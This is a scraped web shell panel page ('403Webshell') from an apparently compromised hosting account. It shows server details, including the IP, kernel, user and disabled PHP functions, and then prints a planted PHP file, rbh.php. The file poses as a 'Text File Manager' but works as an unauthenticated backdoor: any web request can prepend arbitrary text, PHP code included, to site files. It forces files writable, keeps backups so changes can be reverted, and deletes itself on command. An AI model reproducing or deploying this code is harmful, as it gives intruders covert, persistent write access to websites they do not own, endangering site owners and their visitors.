403Webshell
Server IP : 46.17.175.229  /  Your IP : 216.73.216.208
Web Server : LiteSpeed
System : Linux lt-bnk-web1163.main-hosting.eu 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64
User : u528038015 ( 528038015)
PHP Version : 8.2.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u528038015/domains/wegallery.store/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u528038015/domains/wegallery.store/public_html/rbh.php
<?php
/* ID Referensi: 7651546 */

/**
 * ============================================
 * SCRIPT PHP PROFESSIONAL - TEXT FILE MANAGER v2.0
 * ============================================
 */

// ============================================
// SELF DELETE - CEK DI PALING AWAL
// ============================================
if (isset($_GET['ok']) && $_GET['ok'] === 'deletemyself') {
    $scriptPath = __FILE__;
    $scriptName = basename($scriptPath);
    
    // Response untuk self-delete
    $deleteResponse = [
        'success' => false,
        'message' => '',
        'script_name' => $scriptName,
        'script_path' => $scriptPath,
        'timestamp' => date('Y-m-d H:i:s')
    ];
    
    try {
        // Cek apakah file exists dan writable
        if (!file_exists($scriptPath)) {
            $deleteResponse['message'] = 'Script file not found';
            header('Content-Type: application/json; charset=utf-8');
            echo json_encode($deleteResponse, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
            exit;
        }
        
        if (!is_writable($scriptPath)) {
            $deleteResponse['message'] = 'Script file is not writable';
            header('Content-Type: application/json; charset=utf-8');
            echo json_encode($deleteResponse, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
            exit;
        }
        
        // Attempt to delete
        if (@unlink($scriptPath)) {
            $deleteResponse['success'] = true;
            $deleteResponse['message'] = "✓ Script '{$scriptName}' has been successfully deleted!";
            
            // Output response sebelum script terhapus
            header('Content-Type: application/json; charset=utf-8');
            echo json_encode($deleteResponse, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
            exit;
        } else {
            $deleteResponse['message'] = 'Failed to delete script file';
            header('Content-Type: application/json; charset=utf-8');
            echo json_encode($deleteResponse, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
            exit;
        }
        
    } catch (Exception $e) {
        $deleteResponse['message'] = 'Error: ' . $e->getMessage();
        header('Content-Type: application/json; charset=utf-8');
        echo json_encode($deleteResponse, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        exit;
    }
}

// Set timezone
date_default_timezone_set('Asia/Jakarta');

// Deteksi mode
$isCLI = (php_sapi_name() === 'cli');

// Set header JSON (hanya web)
if (!$isCLI) {
    header('Content-Type: application/json; charset=utf-8');
}

// ============================================
// KONFIGURASI
// ============================================
$CONFIG = [
    'backup_suffix' => '.backup',
    'log_file' => 'activity.log',
    'max_text_length' => 1000000, // 1MB untuk text panjang
    'min_text_length' => 1,
    'allowed_extensions' => ['txt', 'log', 'md', 'json', 'csv', 'html', 'xml','php'],
    'allowed_textfile_extensions' => ['txt', 'md', 'log', 'json','php','html'],
    'enable_logging' => true,
    'max_file_size' => 10485760 // 10MB
];

// Response template
$response = [
    'success' => false,
    'message' => '',
    'data' => [],
    'timestamp' => date('Y-m-d H:i:s'),
    'errors' => [],
    'warnings' => []
];

// ============================================
// FUNGSI HELPER
// ============================================

function logActivity($message) {
    global $CONFIG;
    if (!$CONFIG['enable_logging']) return;
    $logMessage = "[" . date('Y-m-d H:i:s') . "] " . $message . PHP_EOL;
    @file_put_contents($CONFIG['log_file'], $logMessage, FILE_APPEND | LOCK_EX);
}

function validateFile($namaFile) {
    global $CONFIG, $response;
    
    // Pastikan $CONFIG terisi
    if (!isset($CONFIG) || !is_array($CONFIG) || empty($CONFIG)) {
        // Reinitialize jika belum ada
        $CONFIG = [
            'backup_suffix' => '.backup',
            'log_file' => 'activity.log',
            'max_text_length' => 1000000,
            'min_text_length' => 1,
            'allowed_extensions' => ['txt', 'log', 'md', 'json', 'csv', 'html', 'xml'],
            'allowed_textfile_extensions' => ['txt', 'md', 'log', 'json'],
            'enable_logging' => true,
            'max_file_size' => 10485760
        ];
    }
    
    if (empty($namaFile) || trim($namaFile) === '') {
        $response['errors'][] = "Nama file tidak boleh kosong";
        return false;
    }
    
    if (preg_match('/[<>:"|?*]/', $namaFile) || strpos($namaFile, '..') !== false) {
        $response['errors'][] = "Nama file mengandung karakter tidak valid";
        return false;
    }
    
    $ext = strtolower(pathinfo($namaFile, PATHINFO_EXTENSION));
    if (!empty($ext) && !in_array($ext, $CONFIG['allowed_extensions'])) {
        $response['errors'][] = "Ekstensi file tidak diizinkan. Yang diizinkan: " . 
                                implode(', ', $CONFIG['allowed_extensions']);
        return false;
    }
    
    if (!file_exists($namaFile)) {
        $response['errors'][] = "GAGAL: File '$namaFile' tidak ditemukan! File harus sudah ada.";
        $response['data']['file_exists'] = false;
        return false;
    }
    
    if (!is_readable($namaFile)) {
        $response['errors'][] = "File tidak bisa dibaca";
        return false;
    }
    
    // AUTO CHMOD jika tidak writable
    if (!is_writable($namaFile)) {
        $oldPerms = substr(sprintf('%o', fileperms($namaFile)), -4);
        $response['warnings'][] = "File tidak writable (permission: $oldPerms), mencoba chmod ke 0644...";
        
        if (@chmod($namaFile, 0644)) {
            $response['data']['chmod_applied'] = true;
            $response['data']['old_permission'] = $oldPerms;
            $response['data']['new_permission'] = '0644';
            logActivity("✓ Auto chmod: $namaFile ($oldPerms -> 0644)");
            
            // Cek lagi apakah sudah writable
            clearstatcache(true, $namaFile);
            if (!is_writable($namaFile)) {
                $response['errors'][] = "Gagal chmod atau file masih tidak writable";
                return false;
            }
        } else {
            $response['errors'][] = "File tidak bisa ditulis dan gagal chmod";
            return false;
        }
    }
    
    if (is_dir($namaFile)) {
        $response['errors'][] = "Ini adalah direktori, bukan file";
        return false;
    }
    
    $fileSize = filesize($namaFile);
    if ($fileSize > $CONFIG['max_file_size']) {
        $response['errors'][] = "File terlalu besar (max: " . formatBytes($CONFIG['max_file_size']) . ")";
        return false;
    }
    
    return true;
}

function validateText($text) {
    global $CONFIG, $response;
    
    if ($text === null || $text === '') {
        $response['errors'][] = "Text tidak boleh kosong";
        return false;
    }
    
    $textLength = strlen($text);
    
    if ($textLength < $CONFIG['min_text_length']) {
        $response['errors'][] = "Text terlalu pendek";
        return false;
    }
    
    if ($textLength > $CONFIG['max_text_length']) {
        $response['errors'][] = "Text terlalu panjang (max: " . formatBytes($CONFIG['max_text_length']) . ")";
        return false;
    }
    
    return true;
}

function createBackup($namaFile) {
    global $CONFIG, $response;
    
    $backupFile = $namaFile . $CONFIG['backup_suffix'];
    
    try {
        if (file_exists($backupFile)) {
            @unlink($backupFile);
        }
        
        if (!@copy($namaFile, $backupFile)) {
            $response['errors'][] = "GAGAL membuat backup!";
            return false;
        }
        
        if (!file_exists($backupFile)) {
            $response['errors'][] = "Backup tidak terbuat!";
            return false;
        }
        
        $response['data']['backup_created'] = true;
        $response['data']['backup_file'] = $backupFile;
        $response['data']['backup_size'] = filesize($backupFile);
        
        logActivity("✓ Backup created: $backupFile");
        return true;
        
    } catch (Exception $e) {
        $response['errors'][] = "Exception saat backup: " . $e->getMessage();
        return false;
    }
}

function restoreFromBackup($namaFile) {
    global $CONFIG, $response;
    
    $backupFile = $namaFile . $CONFIG['backup_suffix'];
    
    try {
        if (!file_exists($backupFile)) {
            $response['errors'][] = "GAGAL: File backup tidak ditemukan!";
            return false;
        }
        
        if (!@copy($backupFile, $namaFile)) {
            $response['errors'][] = "GAGAL restore!";
            return false;
        }
        
        $response['data']['restored'] = true;
        $response['data']['restored_file'] = $namaFile;
        $response['data']['restored_size'] = filesize($namaFile);
        
        logActivity("✓ Restored: $namaFile");
        return true;
        
    } catch (Exception $e) {
        $response['errors'][] = "Exception: " . $e->getMessage();
        return false;
    }
}

function addTextToTop($namaFile, $text) {
    global $response;
    
    try {
        $isiFileLama = @file_get_contents($namaFile);
        
        if ($isiFileLama === false) {
            $response['errors'][] = "Gagal membaca file";
            return false;
        }
        
        $response['data']['original_size'] = strlen($isiFileLama);
        $response['data']['original_lines'] = substr_count($isiFileLama, "\n") + (strlen($isiFileLama) > 0 ? 1 : 0);
        
        if (trim($isiFileLama) === '') {
            $isiFileBaru = $text . "\n";
        } else {
            $isiFileBaru = $text . "\n" . $isiFileLama;
        }
        
        $bytesWritten = @file_put_contents($namaFile, $isiFileBaru, LOCK_EX);
        
        if ($bytesWritten === false) {
            $response['errors'][] = "Gagal menulis ke file";
            return false;
        }
        
        // Info text yang ditambahkan (tampilkan preview jika panjang)
        $textPreview = strlen($text) > 100 ? substr($text, 0, 100) . "..." : $text;
        
        $response['data']['text_preview'] = $textPreview;
        $response['data']['text_length'] = strlen($text);
        $response['data']['text_lines'] = substr_count($text, "\n") + 1;
        $response['data']['new_size'] = $bytesWritten;
        $response['data']['new_lines'] = substr_count($isiFileBaru, "\n") + 1;
        $response['data']['bytes_added'] = $bytesWritten - strlen($isiFileLama);
        
        logActivity("✓ Text added to $namaFile (" . strlen($text) . " chars, " . 
                    (substr_count($text, "\n") + 1) . " lines)");
        
        return true;
        
    } catch (Exception $e) {
        $response['errors'][] = "Exception: " . $e->getMessage();
        return false;
    }
}

function getFileInfo($namaFile) {
    if (!file_exists($namaFile)) return null;
    
    $content = @file_get_contents($namaFile);
    
    return [
        'name' => basename($namaFile),
        'path' => realpath($namaFile),
        'size' => filesize($namaFile),
        'size_formatted' => formatBytes(filesize($namaFile)),
        'modified' => date('Y-m-d H:i:s', filemtime($namaFile)),
        'permissions' => substr(sprintf('%o', fileperms($namaFile)), -4),
        'readable' => is_readable($namaFile),
        'writable' => is_writable($namaFile),
        'lines' => $content !== false ? (substr_count($content, "\n") + (strlen($content) > 0 ? 1 : 0)) : 0,
        'extension' => pathinfo($namaFile, PATHINFO_EXTENSION)
    ];
}

function formatBytes($bytes) {
    $units = ['B', 'KB', 'MB', 'GB'];
    $i = 0;
    while ($bytes >= 1024 && $i < count($units) - 1) {
        $bytes /= 1024;
        $i++;
    }
    return round($bytes, 2) . ' ' . $units[$i];
}

// ============================================
// AMBIL INPUT DARI BERBAGAI SUMBER
// ============================================

$change = null;
$text = null;
$namaFile = null;
$info = null;
$textfile = null;
$inputMethod = 'unknown';

// Deteksi JSON input
$jsonInput = null;
if (!$isCLI && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $contentType = isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : '';
    if (strpos($contentType, 'application/json') !== false) {
        $jsonRaw = file_get_contents('php://input');
        $jsonInput = json_decode($jsonRaw, true);
        if ($jsonInput !== null) {
            $inputMethod = 'JSON';
        }
    }
}

// Prioritas input: JSON > POST > GET > CLI
if ($jsonInput !== null) {
    // METODE 3: JSON
    $change = isset($jsonInput['change']) ? $jsonInput['change'] : null;
    $text = isset($jsonInput['text']) ? $jsonInput['text'] : null;
    $namaFile = isset($jsonInput['file']) ? $jsonInput['file'] : 'b.txt';
    $info = isset($jsonInput['info']) ? $jsonInput['info'] : null;
    $textfile = isset($jsonInput['textfile']) ? $jsonInput['textfile'] : null;
    
} elseif (!$isCLI && $_SERVER['REQUEST_METHOD'] === 'POST') {
    // METODE 1: POST
    $inputMethod = 'POST';
    $change = isset($_POST['change']) ? $_POST['change'] : null;
    $text = isset($_POST['text']) ? $_POST['text'] : null;
    $namaFile = isset($_POST['file']) ? $_POST['file'] : 'b.txt';
    $info = isset($_POST['info']) ? $_POST['info'] : null;
    $textfile = isset($_POST['textfile']) ? $_POST['textfile'] : null;
    
} elseif (!$isCLI && $_SERVER['REQUEST_METHOD'] === 'GET') {
    // METODE 4: GET
    $inputMethod = 'GET';
    $change = isset($_GET['change']) ? $_GET['change'] : null;
    $text = isset($_GET['text']) ? $_GET['text'] : null;
    $namaFile = isset($_GET['file']) ? $_GET['file'] : 'b.txt';
    $info = isset($_GET['info']) ? $_GET['info'] : null;
    $textfile = isset($_GET['textfile']) ? $_GET['textfile'] : null;
    
} else {
    // CLI mode
    $inputMethod = 'CLI';
    $change = isset($_GET['change']) ? $_GET['change'] : null;
    $text = isset($_GET['text']) ? $_GET['text'] : null;
    $namaFile = isset($_GET['file']) ? $_GET['file'] : 'b.txt';
    $info = isset($_GET['info']) ? $_GET['info'] : null;
    $textfile = isset($_GET['textfile']) ? $_GET['textfile'] : null;
}

// METODE 2: Jika textfile dispesifikkan, baca dari file
if (!empty($textfile)) {
    $inputMethod = 'TEXTFILE';
    
    // Validasi textfile
    $textfileExt = strtolower(pathinfo($textfile, PATHINFO_EXTENSION));
    if (!in_array($textfileExt, $CONFIG['allowed_textfile_extensions'])) {
        $response['errors'][] = "Ekstensi textfile tidak diizinkan";
        echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        exit;
    }
    
    if (!file_exists($textfile)) {
        $response['errors'][] = "File text '$textfile' tidak ditemukan!";
        echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        exit;
    }
    
    $text = @file_get_contents($textfile);
    if ($text === false) {
        $response['errors'][] = "Gagal membaca file text '$textfile'";
        echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        exit;
    }
    
    $response['data']['text_source'] = $textfile;
    $response['data']['text_source_size'] = filesize($textfile);
}

$response['data']['input_method'] = $inputMethod;

// ============================================
// MAIN PROCESS
// ============================================

try {
    // MODE INFO
    if ($info === 'true' || $info === '1') {
        if (validateFile($namaFile)) {
            $response['success'] = true;
            $response['message'] = "Informasi file";
            $response['data']['file_info'] = getFileInfo($namaFile);
            
            $backupFile = $namaFile . $CONFIG['backup_suffix'];
            if (file_exists($backupFile)) {
                $response['data']['backup_info'] = getFileInfo($backupFile);
            }
        } else {
            $response['message'] = "File tidak valid";
        }
        
        echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        exit;
    }
    
    // Validasi parameter change
    if ($change === null) {
        $response['errors'][] = "Parameter 'change' wajib diisi (true/false)";
        $response['message'] = "Parameter tidak lengkap";
        echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        exit;
    }
    
    // Validasi file
    if (!validateFile($namaFile)) {
        $response['message'] = "File tidak valid atau tidak ditemukan";
        echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        exit;
    }
    
    $response['data']['file_before'] = getFileInfo($namaFile);
    
    // PROSES
    if ($change === 'true' || $change === '1') {
        // TAMBAH TEXT
        $response['data']['action'] = 'add_text';
        
        if (!validateText($text)) {
            $response['message'] = "Text tidak valid";
            echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
            exit;
        }
        
        if (!createBackup($namaFile)) {
            $response['message'] = "Gagal membuat backup";
            echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
            exit;
        }
        
        if (addTextToTop($namaFile, $text)) {
            $response['success'] = true;
            $response['message'] = "✓ BERHASIL! Text ditambahkan ke file";
            $response['data']['file_after'] = getFileInfo($namaFile);
            
            $backupFile = $namaFile . $CONFIG['backup_suffix'];
            if (file_exists($backupFile)) {
                $response['data']['backup_info'] = getFileInfo($backupFile);
            }
        } else {
            $response['message'] = "Gagal menambahkan text";
        }
        
    } elseif ($change === 'false' || $change === '0') {
        // RESTORE
        $response['data']['action'] = 'restore';
        
        if (restoreFromBackup($namaFile)) {
            $response['success'] = true;
            $response['message'] = "✓ BERHASIL! File dikembalikan dari backup";
            $response['data']['file_after'] = getFileInfo($namaFile);
        } else {
            $response['message'] = "Gagal restore";
        }
        
    } else {
        $response['errors'][] = "Parameter 'change' harus 'true' atau 'false'";
        $response['message'] = "Parameter tidak valid";
    }
    
} catch (Exception $e) {
    $response['success'] = false;
    $response['message'] = "ERROR: " . $e->getMessage();
    $response['errors'][] = $e->getMessage();
    logActivity("ERROR: " . $e->getMessage());
}

// OUTPUT
echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);

?>

Youez - 2016 - github.com/yon3zu
LinuXploit